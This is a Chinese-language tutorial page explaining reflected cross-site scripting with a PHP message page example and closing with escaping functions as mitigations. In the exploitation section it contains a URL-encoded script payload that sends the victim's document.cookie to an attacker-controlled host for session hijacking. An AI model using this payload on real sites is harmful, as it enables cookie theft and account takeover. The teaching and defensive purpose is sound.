一聚教程网:一个值得你收藏的教程网站

热门教程

跨站脚本攻击之反射型XSS漏洞

时间:2022-06-30 19:05:59 编辑:袖梨 来源:一聚教程网

对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。

 

例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:

 代码如下 复制代码

http://你的网站/xss/message.php?send=Hello,World www.111com.net!

输出内容:

 代码如下 复制代码

Hello,World www.111com.net!

此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
在原程序的URL的参数为,替换为我们用来测试的代码:

 代码如下 复制代码

http://www.111com.net /xss/message.php?send=

页面输出内容则为:

 代码如下 复制代码

当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:

通过URL传参测试XSS

图1 通过URL传参测试XSS

在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和执行,因为也被称为一阶XSS。

利用漏洞

利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:

反射型XSS漏洞的攻击步骤

图2 反射型XSS漏洞的攻击步骤

(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:

 代码如下 复制代码

Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

(2) 攻击者将含有攻击代码的URL发送给被攻击人;

例:

 代码如下 复制代码

http://你的网站/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.你的网站/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录

可以利用下面这些函数对出现xss漏洞的参数进行过滤

    PHP的htmlentities()或是htmlspecialchars()。
    Python的cgi.escape()。

    ASP的Server.HTMLEncode()。

    ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library

    Java的xssprotect(Open Source Library)。

    Node.js的node-validator。

热门栏目